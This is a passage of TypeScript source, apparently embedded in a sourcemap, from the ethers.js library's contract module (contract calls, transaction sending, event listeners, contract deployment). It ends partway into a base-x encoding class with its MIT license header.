logger.throwError(\"estimate require a provider or signer\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"estimateGas\"\n })\n }\n\n const tx = await populateTransaction(contract, fragment, args);\n return await signerOrProvider.estimateGas(tx);\n };\n}\n\nfunction addContractWait(contract: Contract, tx: TransactionResponse) {\n const wait = tx.wait.bind(tx);\n tx.wait = (confirmations?: number) => {\n return wait(confirmations).then((receipt: ContractReceipt) => {\n receipt.events = receipt.logs.map((log) => {\n let event: Event = (deepCopy(log));\n let parsed: LogDescription = null;\n try {\n parsed = contract.interface.parseLog(log);\n } catch (e){ }\n\n // Successfully parsed the event log; include it\n if (parsed) {\n event.args = parsed.args;\n event.decode = (data: BytesLike, topics?: Array) => {\n return contract.interface.decodeEventLog(parsed.eventFragment, data, topics);\n };\n event.event = parsed.name;\n event.eventSignature = parsed.signature;\n }\n\n // Useful operations\n event.removeListener = () => { return contract.provider; }\n event.getBlock = () => {\n return contract.provider.getBlock(receipt.blockHash);\n }\n event.getTransaction = () => {\n return contract.provider.getTransaction(receipt.transactionHash);\n }\n event.getTransactionReceipt = () => {\n return Promise.resolve(receipt);\n }\n\n return event;\n });\n\n return receipt;\n });\n };\n}\n\nfunction buildCall(contract: Contract, fragment: FunctionFragment, collapseSimple: boolean): ContractFunction {\n const signerOrProvider = (contract.signer || contract.provider);\n\n return async function(...args: Array): Promise {\n // Extract the \"blockTag\" override if present\n let blockTag = undefined;\n if (args.length === fragment.inputs.length + 1 && typeof(args[args.length - 1]) === \"object\") {\n const overrides = shallowCopy(args.pop());\n if (overrides.blockTag != null) {\n blockTag = await overrides.blockTag;\n }\n delete overrides.blockTag;\n args.push(overrides);\n }\n\n // If the contract was just deployed, wait until it is mined\n if (contract.deployTransaction != null) {\n await contract._deployed(blockTag);\n }\n\n // Call a node and get the result\n const tx = await populateTransaction(contract, fragment, args);\n const result = await signerOrProvider.call(tx, blockTag);\n\n try {\n let value = contract.interface.decodeFunctionResult(fragment, result);\n if (collapseSimple && fragment.outputs.length === 1) {\n value = value[0];\n }\n return value;\n\n } catch (error) {\n if (error.code === Logger.errors.CALL_EXCEPTION) {\n error.address = contract.address;\n error.args = args;\n error.transaction = tx;\n }\n throw error;\n }\n };\n}\n\nfunction buildSend(contract: Contract, fragment: FunctionFragment): ContractFunction {\n return async function(...args: Array): Promise {\n if (!contract.signer) {\n logger.throwError(\"sending a transaction requires a signer\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"sendTransaction\"\n })\n }\n\n // If the contract was just deployed, wait until it is mined\n if (contract.deployTransaction != null) {\n await contract._deployed();\n }\n\n const txRequest = await populateTransaction(contract, fragment, args);\n\n const tx = await contract.signer.sendTransaction(txRequest);\n\n // Tweak the tx.wait so the receipt has extra properties\n addContractWait(contract, tx);\n\n return tx;\n };\n}\n\nfunction buildDefault(contract: Contract, fragment: FunctionFragment, collapseSimple: boolean): ContractFunction {\n if (fragment.constant) {\n return buildCall(contract, fragment, collapseSimple);\n }\n return buildSend(contract, fragment);\n}\n\nfunction getEventTag(filter: EventFilter): string {\n if (filter.address && (filter.topics == null || filter.topics.length === 0)) {\n return \"*\";\n }\n\n return (filter.address || \"*\") + \"@\" + (filter.topics ? filter.topics.map((topic) => {\n if (Array.isArray(topic)) {\n return topic.join(\"|\");\n }\n return topic;\n }).join(\":\"): \"\");\n}\n\nclass RunningEvent {\n readonly tag: string;\n readonly filter: EventFilter;\n private _listeners: Array<{ listener: Listener, once: boolean }>;\n\n constructor(tag: string, filter: EventFilter) {\n defineReadOnly(this, \"tag\", tag);\n defineReadOnly(this, \"filter\", filter);\n this._listeners = [ ];\n }\n\n addListener(listener: Listener, once: boolean): void {\n this._listeners.push({ listener: listener, once: once });\n }\n\n removeListener(listener: Listener): void {\n let done = false;\n this._listeners = this._listeners.filter((item) => {\n if (done || item.listener !== listener) { return true; }\n done = true;\n return false;\n });\n }\n\n removeAllListeners(): void {\n this._listeners = [];\n }\n\n listeners(): Array {\n return this._listeners.map((i) => i.listener);\n }\n\n listenerCount(): number {\n return this._listeners.length;\n }\n\n run(args: Array): number {\n const listenerCount = this.listenerCount();\n this._listeners = this._listeners.filter((item) => {\n\n const argsCopy = args.slice();\n\n // Call the callback in the next event loop\n setTimeout(() => {\n item.listener.apply(this, argsCopy);\n }, 0);\n\n // Reschedule it if it not \"once\"\n return !(item.once);\n });\n\n return listenerCount;\n }\n\n prepareEvent(event: Event): void {\n }\n\n // Returns the array that will be applied to an emit\n getEmit(event: Event): Array {\n return [ event ];\n }\n}\n\nclass ErrorRunningEvent extends RunningEvent {\n constructor() {\n super(\"error\", null);\n }\n}\n\n\n// @TODO Fragment should inherit Wildcard? and just override getEmit?\n// or have a common abstract super class, with enough constructor\n// options to configure both.\n\n// A Fragment Event will populate all the properties that Wildcard\n// will, and additionally dereference the arguments when emitting\nclass FragmentRunningEvent extends RunningEvent {\n readonly address: string;\n readonly interface: Interface;\n readonly fragment: EventFragment;\n\n constructor(address: string, contractInterface: Interface, fragment: EventFragment, topics?: Array>) {\n const filter: EventFilter = {\n address: address\n }\n\n let topic = contractInterface.getEventTopic(fragment);\n if (topics) {\n if (topic !== topics[0]) { logger.throwArgumentError(\"topic mismatch\", \"topics\", topics); }\n filter.topics = topics.slice();\n } else {\n filter.topics = [ topic ];\n }\n\n super(getEventTag(filter), filter);\n defineReadOnly(this, \"address\", address);\n defineReadOnly(this, \"interface\", contractInterface);\n defineReadOnly(this, \"fragment\", fragment);\n }\n\n\n prepareEvent(event: Event): void {\n super.prepareEvent(event);\n\n event.event = this.fragment.name;\n event.eventSignature = this.fragment.format();\n\n event.decode = (data: BytesLike, topics?: Array) => {\n return this.interface.decodeEventLog(this.fragment, data, topics);\n };\n\n try {\n event.args = this.interface.decodeEventLog(this.fragment, event.data, event.topics);\n } catch (error) {\n event.args = null;\n event.decodeError = error;\n }\n }\n\n getEmit(event: Event): Array {\n const errors = checkResultErrors(event.args);\n if (errors.length) { throw errors[0].error; }\n\n const args = (event.args || []).slice();\n args.push(event);\n return args;\n }\n}\n\n// A Wildcard Event will attempt to populate:\n// - event The name of the event name\n// - eventSignature The full signature of the event\n// - decode A function to decode data and topics\n// - args The decoded data and topics\nclass WildcardRunningEvent extends RunningEvent {\n readonly address: string;\n readonly interface: Interface;\n\n constructor(address: string, contractInterface: Interface) {\n super(\"*\", { address: address });\n defineReadOnly(this, \"address\", address);\n defineReadOnly(this, \"interface\", contractInterface);\n }\n\n prepareEvent(event: Event): void {\n super.prepareEvent(event);\n\n try {\n const parsed = this.interface.parseLog(event);\n event.event = parsed.name;\n event.eventSignature = parsed.signature;\n\n event.decode = (data: BytesLike, topics?: Array) => {\n return this.interface.decodeEventLog(parsed.eventFragment, data, topics);\n };\n\n event.args = parsed.args;\n } catch (error) {\n // No matching event\n }\n }\n}\n\nexport type ContractInterface = string | ReadonlyArray | Interface;\n\ntype InterfaceFunc = (contractInterface: ContractInterface) => Interface;\n\n\nexport class BaseContract {\n readonly address: string;\n readonly interface: Interface;\n\n readonly signer: Signer;\n readonly provider: Provider;\n\n readonly functions: { [ name: string ]: ContractFunction };\n\n readonly callStatic: { [ name: string ]: ContractFunction };\n readonly estimateGas: { [ name: string ]: ContractFunction };\n readonly populateTransaction: { [ name: string ]: ContractFunction };\n\n readonly filters: { [ name: string ]: (...args: Array) => EventFilter };\n\n // This will always be an address. This will only differ from\n // address if an ENS name was used in the constructor\n readonly resolvedAddress: Promise;\n\n // This is only set if the contract was created with a call to deploy\n readonly deployTransaction: TransactionResponse;\n\n _deployedPromise: Promise;\n\n // A list of RunningEvents to track listeners for each event tag\n _runningEvents: { [ eventTag: string ]: RunningEvent };\n\n // Wrapped functions to call emit and allow deregistration from the provider\n _wrappedEmits: { [ eventTag: string ]: (...args: Array) => void };\n\n constructor(addressOrName: string, contractInterface: ContractInterface, signerOrProvider?: Signer | Provider) {\n // @TODO: Maybe still check the addressOrName looks like a valid address or name?\n //address = getAddress(address);\n defineReadOnly(this, \"interface\", getStatic(new.target, \"getInterface\")(contractInterface));\n\n if (signerOrProvider == null) {\n defineReadOnly(this, \"provider\", null);\n defineReadOnly(this, \"signer\", null);\n } else if (Signer.isSigner(signerOrProvider)) {\n defineReadOnly(this, \"provider\", signerOrProvider.provider || null);\n defineReadOnly(this, \"signer\", signerOrProvider);\n } else if (Provider.isProvider(signerOrProvider)) {\n defineReadOnly(this, \"provider\", signerOrProvider);\n defineReadOnly(this, \"signer\", null);\n } else {\n logger.throwArgumentError(\"invalid signer or provider\", \"signerOrProvider\", signerOrProvider);\n }\n\n defineReadOnly(this, \"callStatic\", { });\n defineReadOnly(this, \"estimateGas\", { });\n defineReadOnly(this, \"functions\", { });\n defineReadOnly(this, \"populateTransaction\", { });\n\n defineReadOnly(this, \"filters\", { });\n\n {\n const uniqueFilters: { [ name: string ]: Array } = { };\n Object.keys(this.interface.events).forEach((eventSignature) => {\n const event = this.interface.events[eventSignature];\n defineReadOnly(this.filters, eventSignature, (...args: Array) => {\n return {\n address: this.address,\n topics: this.interface.encodeFilterTopics(event, args)\n }\n });\n if (!uniqueFilters[event.name]) { uniqueFilters[event.name] = [ ]; }\n uniqueFilters[event.name].push(eventSignature);\n });\n\n Object.keys(uniqueFilters).forEach((name) => {\n const filters = uniqueFilters[name];\n if (filters.length === 1) {\n defineReadOnly(this.filters, name, this.filters[filters[0]]);\n } else {\n logger.warn(`Duplicate definition of ${ name } (${ filters.join(\", \")})`);\n }\n });\n }\n\n defineReadOnly(this, \"_runningEvents\", { });\n defineReadOnly(this, \"_wrappedEmits\", { });\n\n if (addressOrName == null) {\n logger.throwArgumentError(\"invalid contract address or ENS name\", \"addressOrName\", addressOrName);\n }\n\n defineReadOnly(this, \"address\", addressOrName);\n if (this.provider) {\n defineReadOnly(this, \"resolvedAddress\", resolveName(this.provider, addressOrName));\n } else {\n try {\n defineReadOnly(this, \"resolvedAddress\", Promise.resolve(getAddress(addressOrName)));\n } catch (error) {\n // Without a provider, we cannot use ENS names\n logger.throwError(\"provider is required to use ENS name as contract address\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"new Contract\"\n });\n }\n }\n\n // Swallow bad ENS names to prevent Unhandled Exceptions\n this.resolvedAddress.catch((e) => { });\n\n const uniqueNames: { [ name: string ]: Array } = { };\n const uniqueSignatures: { [ signature: string ]: boolean } = { };\n Object.keys(this.interface.functions).forEach((signature) => {\n const fragment = this.interface.functions[signature];\n\n // Check that the signature is unique; if not the ABI generation has\n // not been cleaned or may be incorrectly generated\n if (uniqueSignatures[signature]) {\n logger.warn(`Duplicate ABI entry for ${ JSON.stringify(signature) }`);\n return;\n }\n uniqueSignatures[signature] = true;\n\n // Track unique names; we only expose bare named functions if they\n // are ambiguous\n {\n const name = fragment.name;\n if (!uniqueNames[`%${ name }`]) { uniqueNames[`%${ name }`] = [ ]; }\n uniqueNames[`%${ name }`].push(signature);\n }\n\n if ((this)[signature] == null) {\n defineReadOnly(this, signature, buildDefault(this, fragment, true));\n }\n\n // We do not collapse simple calls on this bucket, which allows\n // frameworks to safely use this without introspection as well as\n // allows decoding error recovery.\n if (this.functions[signature] == null) {\n defineReadOnly(this.functions, signature, buildDefault(this, fragment, false));\n }\n\n if (this.callStatic[signature] == null) {\n defineReadOnly(this.callStatic, signature, buildCall(this, fragment, true));\n }\n\n if (this.populateTransaction[signature] == null) {\n defineReadOnly(this.populateTransaction, signature, buildPopulate(this, fragment));\n }\n\n if (this.estimateGas[signature] == null) {\n defineReadOnly(this.estimateGas, signature, buildEstimate(this, fragment));\n }\n });\n\n Object.keys(uniqueNames).forEach((name) => {\n // Ambiguous names to not get attached as bare names\n const signatures = uniqueNames[name];\n if (signatures.length > 1) { return; }\n\n // Strip off the leading \"%\" used for prototype protection\n name = name.substring(1);\n\n const signature = signatures[0];\n\n // If overwriting a member property that is null, swallow the error\n try {\n if ((this)[name] == null) {\n defineReadOnly(this, name, (this)[signature]);\n }\n } catch (e) { }\n\n if (this.functions[name] == null) {\n defineReadOnly(this.functions, name, this.functions[signature]);\n }\n\n if (this.callStatic[name] == null) {\n defineReadOnly(this.callStatic, name, this.callStatic[signature]);\n }\n\n if (this.populateTransaction[name] == null) {\n defineReadOnly(this.populateTransaction, name, this.populateTransaction[signature]);\n }\n\n if (this.estimateGas[name] == null) {\n defineReadOnly(this.estimateGas, name, this.estimateGas[signature]);\n }\n });\n }\n\n static getContractAddress(transaction: { from: string, nonce: BigNumberish }): string {\n return getContractAddress(transaction);\n }\n\n static getInterface(contractInterface: ContractInterface): Interface {\n if (Interface.isInterface(contractInterface)) {\n return contractInterface;\n }\n return new Interface(contractInterface);\n }\n\n // @TODO: Allow timeout?\n deployed(): Promise {\n return this._deployed();\n }\n\n _deployed(blockTag?: BlockTag): Promise {\n if (!this._deployedPromise) {\n\n // If we were just deployed, we know the transaction we should occur in\n if (this.deployTransaction) {\n this._deployedPromise = this.deployTransaction.wait().then(() => {\n return this;\n });\n\n } else {\n // @TODO: Once we allow a timeout to be passed in, we will wait\n // up to that many blocks for getCode\n\n // Otherwise, poll for our code to be deployed\n this._deployedPromise = this.provider.getCode(this.address, blockTag).then((code) => {\n if (code === \"0x\") {\n logger.throwError(\"contract not deployed\", Logger.errors.UNSUPPORTED_OPERATION, {\n contractAddress: this.address,\n operation: \"getDeployed\"\n });\n }\n return this;\n });\n }\n }\n\n return this._deployedPromise;\n }\n\n // @TODO:\n // estimateFallback(overrides?: TransactionRequest): Promise\n\n // @TODO:\n // estimateDeploy(bytecode: string, ...args): Promise\n\n fallback(overrides?: TransactionRequest): Promise {\n if (!this.signer) {\n logger.throwError(\"sending a transactions require a signer\", Logger.errors.UNSUPPORTED_OPERATION, { operation: \"sendTransaction(fallback)\" })\n }\n\n const tx: Deferrable = shallowCopy(overrides || {});\n\n [\"from\", \"to\"].forEach(function(key) {\n if ((tx)[key] == null) { return; }\n logger.throwError(\"cannot override \" + key, Logger.errors.UNSUPPORTED_OPERATION, { operation: key })\n });\n\n tx.to = this.resolvedAddress;\n return this.deployed().then(() => {\n return this.signer.sendTransaction(tx);\n });\n }\n\n // Reconnect to a different signer or provider\n connect(signerOrProvider: Signer | Provider | string): Contract {\n if (typeof(signerOrProvider) === \"string\") {\n signerOrProvider = new VoidSigner(signerOrProvider, this.provider);\n }\n\n const contract = new (<{ new(...args: any[]): Contract }>(this.constructor))(this.address, this.interface, signerOrProvider);\n if (this.deployTransaction) {\n defineReadOnly(contract, \"deployTransaction\", this.deployTransaction);\n }\n\n return contract;\n }\n\n // Re-attach to a different on-chain instance of this contract\n attach(addressOrName: string): Contract {\n return new (<{ new(...args: any[]): Contract }>(this.constructor))(addressOrName, this.interface, this.signer || this.provider);\n }\n\n static isIndexed(value: any): value is Indexed {\n return Indexed.isIndexed(value);\n }\n\n private _normalizeRunningEvent(runningEvent: RunningEvent): RunningEvent {\n // Already have an instance of this event running; we can re-use it\n if (this._runningEvents[runningEvent.tag]) {\n return this._runningEvents[runningEvent.tag];\n }\n return runningEvent\n }\n\n private _getRunningEvent(eventName: EventFilter | string): RunningEvent {\n if (typeof(eventName) === \"string\") {\n\n // Listen for \"error\" events (if your contract has an error event, include\n // the full signature to bypass this special event keyword)\n if (eventName === \"error\") {\n return this._normalizeRunningEvent(new ErrorRunningEvent());\n }\n\n // Listen for any event that is registered\n if (eventName === \"event\") {\n return this._normalizeRunningEvent(new RunningEvent(\"event\", null));\n }\n\n // Listen for any event\n if (eventName === \"*\") {\n return this._normalizeRunningEvent(new WildcardRunningEvent(this.address, this.interface));\n }\n\n // Get the event Fragment (throws if ambiguous/unknown event)\n const fragment = this.interface.getEvent(eventName)\n return this._normalizeRunningEvent(new FragmentRunningEvent(this.address, this.interface, fragment));\n }\n\n // We have topics to filter by...\n if (eventName.topics && eventName.topics.length > 0) {\n\n // Is it a known topichash? (throws if no matching topichash)\n try {\n const topic = eventName.topics[0];\n if (typeof(topic) !== \"string\") {\n throw new Error(\"invalid topic\"); // @TODO: May happen for anonymous events\n }\n const fragment = this.interface.getEvent(topic);\n return this._normalizeRunningEvent(new FragmentRunningEvent(this.address, this.interface, fragment, eventName.topics));\n } catch (error) { }\n\n // Filter by the unknown topichash\n const filter: EventFilter = {\n address: this.address,\n topics: eventName.topics\n }\n\n return this._normalizeRunningEvent(new RunningEvent(getEventTag(filter), filter));\n }\n\n return this._normalizeRunningEvent(new WildcardRunningEvent(this.address, this.interface));\n }\n\n _checkRunningEvents(runningEvent: RunningEvent): void {\n if (runningEvent.listenerCount() === 0) {\n delete this._runningEvents[runningEvent.tag];\n\n // If we have a poller for this, remove it\n const emit = this._wrappedEmits[runningEvent.tag];\n if (emit && runningEvent.filter) {\n this.provider.off(runningEvent.filter, emit);\n delete this._wrappedEmits[runningEvent.tag];\n }\n }\n }\n\n // Subclasses can override this to gracefully recover\n // from parse errors if they wish\n _wrapEvent(runningEvent: RunningEvent, log: Log, listener: Listener): Event {\n const event = deepCopy(log);\n\n event.removeListener = () => {\n if (!listener) { return; }\n runningEvent.removeListener(listener);\n this._checkRunningEvents(runningEvent);\n };\n\n event.getBlock = () => { return this.provider.getBlock(log.blockHash); }\n event.getTransaction = () => { return this.provider.getTransaction(log.transactionHash); }\n event.getTransactionReceipt = () => { return this.provider.getTransactionReceipt(log.transactionHash); }\n\n // This may throw if the topics and data mismatch the signature\n runningEvent.prepareEvent(event);\n\n return event;\n }\n\n private _addEventListener(runningEvent: RunningEvent, listener: Listener, once: boolean): void {\n if (!this.provider) {\n logger.throwError(\"events require a provider or a signer with a provider\", Logger.errors.UNSUPPORTED_OPERATION, { operation: \"once\" })\n }\n\n runningEvent.addListener(listener, once);\n\n // Track this running event and its listeners (may already be there; but no hard in updating)\n this._runningEvents[runningEvent.tag] = runningEvent;\n\n // If we are not polling the provider, start polling\n if (!this._wrappedEmits[runningEvent.tag]) {\n const wrappedEmit = (log: Log) => {\n let event = this._wrapEvent(runningEvent, log, listener);\n\n // Try to emit the result for the parameterized event...\n if (event.decodeError == null) {\n try {\n const args = runningEvent.getEmit(event);\n this.emit(runningEvent.filter, ...args);\n } catch (error) {\n event.decodeError = error.error;\n }\n }\n\n // Always emit \"event\" for fragment-base events\n if (runningEvent.filter != null) {\n this.emit(\"event\", event);\n }\n\n // Emit \"error\" if there was an error\n if (event.decodeError != null) {\n this.emit(\"error\", event.decodeError, event);\n }\n };\n this._wrappedEmits[runningEvent.tag] = wrappedEmit;\n\n // Special events, like \"error\" do not have a filter\n if (runningEvent.filter != null) {\n this.provider.on(runningEvent.filter, wrappedEmit);\n }\n }\n }\n\n queryFilter(event: EventFilter | string, fromBlockOrBlockhash?: BlockTag | string, toBlock?: BlockTag): Promise> {\n const runningEvent = this._getRunningEvent(event);\n const filter = shallowCopy(runningEvent.filter);\n\n if (typeof(fromBlockOrBlockhash) === \"string\" && isHexString(fromBlockOrBlockhash, 32)) {\n if (toBlock != null) {\n logger.throwArgumentError(\"cannot specify toBlock with blockhash\", \"toBlock\", toBlock);\n }\n (filter).blockHash = fromBlockOrBlockhash;\n } else {\n (filter).fromBlock = ((fromBlockOrBlockhash != null) ? fromBlockOrBlockhash: 0);\n (filter).toBlock = ((toBlock != null) ? toBlock: \"latest\");\n }\n\n return this.provider.getLogs(filter).then((logs) => {\n return logs.map((log) => this._wrapEvent(runningEvent, log, null));\n });\n }\n\n on(event: EventFilter | string, listener: Listener): this {\n this._addEventListener(this._getRunningEvent(event), listener, false);\n return this;\n }\n\n once(event: EventFilter | string, listener: Listener): this {\n this._addEventListener(this._getRunningEvent(event), listener, true);\n return this;\n }\n\n emit(eventName: EventFilter | string, ...args: Array): boolean {\n if (!this.provider) { return false; }\n\n const runningEvent = this._getRunningEvent(eventName);\n const result = (runningEvent.run(args) > 0);\n\n // May have drained all the \"once\" events; check for living events\n this._checkRunningEvents(runningEvent);\n\n return result;\n }\n\n listenerCount(eventName?: EventFilter | string): number {\n if (!this.provider) { return 0; }\n if (eventName == null) {\n return Object.keys(this._runningEvents).reduce((accum, key) => {\n return accum + this._runningEvents[key].listenerCount();\n }, 0);\n }\n return this._getRunningEvent(eventName).listenerCount();\n }\n\n listeners(eventName?: EventFilter | string): Array {\n if (!this.provider) { return []; }\n\n if (eventName == null) {\n const result: Array = [ ];\n for (let tag in this._runningEvents) {\n this._runningEvents[tag].listeners().forEach((listener) => {\n result.push(listener)\n });\n }\n return result;\n }\n\n return this._getRunningEvent(eventName).listeners();\n }\n\n removeAllListeners(eventName?: EventFilter | string): this {\n if (!this.provider) { return this; }\n\n if (eventName == null) {\n for (const tag in this._runningEvents) {\n const runningEvent = this._runningEvents[tag];\n runningEvent.removeAllListeners();\n this._checkRunningEvents(runningEvent);\n }\n return this;\n }\n\n // Delete any listeners\n const runningEvent = this._getRunningEvent(eventName);\n runningEvent.removeAllListeners();\n this._checkRunningEvents(runningEvent);\n\n return this;\n }\n\n off(eventName: EventFilter | string, listener: Listener): this {\n if (!this.provider) { return this; }\n const runningEvent = this._getRunningEvent(eventName);\n runningEvent.removeListener(listener);\n this._checkRunningEvents(runningEvent);\n return this;\n }\n\n removeListener(eventName: EventFilter | string, listener: Listener): this {\n return this.off(eventName, listener);\n }\n\n}\n\nexport class Contract extends BaseContract {\n // The meta-class properties\n readonly [ key: string ]: ContractFunction | any;\n}\n\nexport class ContractFactory {\n\n readonly interface: Interface;\n readonly bytecode: string;\n readonly signer: Signer;\n\n constructor(contractInterface: ContractInterface, bytecode: BytesLike | { object: string }, signer?: Signer) {\n\n let bytecodeHex: string = null;\n\n if (typeof(bytecode) === \"string\") {\n bytecodeHex = bytecode;\n } else if (isBytes(bytecode)) {\n bytecodeHex = hexlify(bytecode);\n } else if (bytecode && typeof(bytecode.object) === \"string\") {\n // Allow the bytecode object from the Solidity compiler\n bytecodeHex = (bytecode).object;\n } else {\n // Crash in the next verification step\n bytecodeHex = \"!\";\n }\n\n // Make sure it is 0x prefixed\n if (bytecodeHex.substring(0, 2) !== \"0x\") { bytecodeHex = \"0x\" + bytecodeHex; }\n\n // Make sure the final result is valid bytecode\n if (!isHexString(bytecodeHex) || (bytecodeHex.length % 2)) {\n logger.throwArgumentError(\"invalid bytecode\", \"bytecode\", bytecode);\n }\n\n // If we have a signer, make sure it is valid\n if (signer && !Signer.isSigner(signer)) {\n logger.throwArgumentError(\"invalid signer\", \"signer\", signer);\n }\n\n defineReadOnly(this, \"bytecode\", bytecodeHex);\n defineReadOnly(this, \"interface\", getStatic(new.target, \"getInterface\")(contractInterface));\n defineReadOnly(this, \"signer\", signer || null);\n }\n\n // @TODO: Future; rename to populateTransaction?\n getDeployTransaction(...args: Array): TransactionRequest {\n let tx: TransactionRequest = { };\n\n // If we have 1 additional argument, we allow transaction overrides\n if (args.length === this.interface.deploy.inputs.length + 1 && typeof(args[args.length - 1]) === \"object\") {\n tx = shallowCopy(args.pop());\n for (const key in tx) {\n if (!allowedTransactionKeys[key]) {\n throw new Error(\"unknown transaction override \" + key);\n }\n }\n }\n\n // Do not allow these to be overridden in a deployment transaction\n [\"data\", \"from\", \"to\"].forEach((key) => {\n if ((tx)[key] == null) { return; }\n logger.throwError(\"cannot override \" + key, Logger.errors.UNSUPPORTED_OPERATION, { operation: key })\n });\n\n if (tx.value) {\n const value = BigNumber.from(tx.value);\n if (!value.isZero() && !this.interface.deploy.payable) {\n logger.throwError(\"non-payable constructor cannot override value\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"overrides.value\",\n value: tx.value\n });\n }\n }\n\n // Make sure the call matches the constructor signature\n logger.checkArgumentCount(args.length, this.interface.deploy.inputs.length, \" in Contract constructor\");\n\n // Set the data to the bytecode + the encoded constructor arguments\n tx.data = hexlify(concat([\n this.bytecode,\n this.interface.encodeDeploy(args)\n ]));\n\n return tx\n }\n\n async deploy(...args: Array): Promise {\n\n let overrides: any = { };\n\n // If 1 extra parameter was passed in, it contains overrides\n if (args.length === this.interface.deploy.inputs.length + 1) {\n overrides = args.pop();\n }\n\n // Make sure the call matches the constructor signature\n logger.checkArgumentCount(args.length, this.interface.deploy.inputs.length, \" in Contract constructor\");\n\n // Resolve ENS names and promises in the arguments\n const params = await resolveAddresses(this.signer, args, this.interface.deploy.inputs);\n params.push(overrides);\n\n // Get the deployment transaction (with optional overrides)\n const unsignedTx = this.getDeployTransaction(...params);\n\n // Send the deployment transaction\n const tx = await this.signer.sendTransaction(unsignedTx);\n\n const address = getStatic<(tx: TransactionResponse) => string>(this.constructor, \"getContractAddress\")(tx);\n const contract = getStatic<(address: string, contractInterface: ContractInterface, signer?: Signer) => Contract>(this.constructor, \"getContract\")(address, this.interface, this.signer);\n\n // Add the modified wait that wraps events\n addContractWait(contract, tx);\n\n defineReadOnly(contract, \"deployTransaction\", tx);\n return contract;\n }\n\n attach(address: string): Contract {\n return ((this.constructor)).getContract(address, this.interface, this.signer);\n }\n\n connect(signer: Signer) {\n return new (<{ new(...args: any[]): ContractFactory }>(this.constructor))(this.interface, this.bytecode, signer);\n }\n\n static fromSolidity(compilerOutput: any, signer?: Signer): ContractFactory {\n if (compilerOutput == null) {\n logger.throwError(\"missing compiler output\", Logger.errors.MISSING_ARGUMENT, { argument: \"compilerOutput\" });\n }\n\n if (typeof(compilerOutput) === \"string\") {\n compilerOutput = JSON.parse(compilerOutput);\n }\n\n const abi = compilerOutput.abi;\n\n let bytecode: any = null;\n if (compilerOutput.bytecode) {\n bytecode = compilerOutput.bytecode;\n } else if (compilerOutput.evm && compilerOutput.evm.bytecode) {\n bytecode = compilerOutput.evm.bytecode;\n }\n\n return new this(abi, bytecode, signer);\n }\n\n static getInterface(contractInterface: ContractInterface) {\n return Contract.getInterface(contractInterface);\n }\n\n static getContractAddress(tx: { from: string, nonce: BytesLike | BigNumber | number }): string {\n return getContractAddress(tx);\n }\n\n static getContract(address: string, contractInterface: ContractInterface, signer?: Signer): Contract {\n return new Contract(address, contractInterface, signer);\n }\n}\n", "/**\n * var basex = require(\"base-x\");\n *\n * This implementation is heavily based on base-x. The main reason to\n * deviate was to prevent the dependency of Buffer.\n *\n * Contributors:\n *\n * base-x encoding\n * Forked from https://github.com/cryptocoinjs/bs58\n * Originally written by Mike Hearn for BitcoinJ\n * Copyright (c) 2011 Google Inc\n * Ported to JavaScript by Stefan Thomas\n * Merged Buffer refactorings from base58-native by Stephen Pair\n * Copyright (c) 2013 BitPay Inc\n *\n * The MIT License (MIT)\n *\n * Copyright base-x contributors (c) 2016\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\n */\n\nimport { arrayify, BytesLike } from \"@ethersproject/bytes\";\nimport { defineReadOnly } from \"@ethersproject/properties\";\n\nexport class BaseX {\n readonly alphabet: string;\n readonly base: number;\n\n _alphabetMap: { [ character: string ]: number };\n _leader: string;\n\n constructor(alphabet: string) {\n defineReadOnly(this, \"alphabet\", alphabet);\n defineReadOnly(this, \"base\", alphabet.length);\n\n defineReadOnly(this, \"_alphabetMap\", { });\n defineReadOnly(this, \"_leader\", alphabet.charAt(0));\n\n // pre-compute lookup table\n for (let i = 0; i < alphabet.length; i++) {\n this._alphabetMap[alphabet.charAt(i)] = i;\n }\n }\n\n encode(value: BytesLike): string {\n let source = arrayify(value);\n\n if (source.length === 0) { return \"\"; }\n\n let digits = [ 0 ]\n for (let i = 0; i < source.length; ++i) {\n let carry = source[i];\n for (let j = 0; j < digits.length; ++j) {\n carry += digits[j] << 8;\n digits[j] = carry % this.base;\n carry = (carry / this.base) | 0;\n }\n\n while (carry > 0) {\n digits.push(carry % this.base);\n carry = (carry / this.base) | 0;\n }\n }\n\n let string = \"\"\n\n // deal with leading zeros\n for (let k = 0; source[k] === 0 && k < source.length - 1; ++k) {\n string += this._leader;\n }\n\n // convert digits to a string\n for (let q = digits.length - 1; q >= 0; --q) {\n string += this.alphabet[digits[q]];\n }\n\n return string;\n }\n\n decode(value: string): Uint8Array {\n if (typeof(value) !== \"string\") {\n throw new TypeError(\"Expected String\");\n }\n\n let bytes: Array = [];\n if (value.length === 0) { return new Uint8Array(bytes); }\n\n bytes.push(0);\n for (let i = 0; i < value.length; i++) {\n let byte = this._alphabetMap[value[i]];\n\n if (byte === undefined) {\n throw new Error(\"Non-base\" + this.base + \" character\");\n }\n\n let carry = byte;\n for (let j = 0; j < bytes.length; ++j) {\n carry += bytes[j] * this.base;\n bytes[j] = carry & 0xff;\n carry >>= 8;\n }\n\n while (carry > 0) {\n bytes.push(carry & 0xff);\n carry >>= 8;\n }\n }\n\n // deal with leading zeros\n for (let k = 0; value[k] === this._leader && k < value.length - 1; ++k) {\n bytes.push(0)\n }\n\n return arrayify(new Uint8Array(bytes.reverse()))\n }\n}\n\nconst Base32 = new BaseX(\"abcdefghijklmnopqrstuvwxyz234567\");\nconst Base58 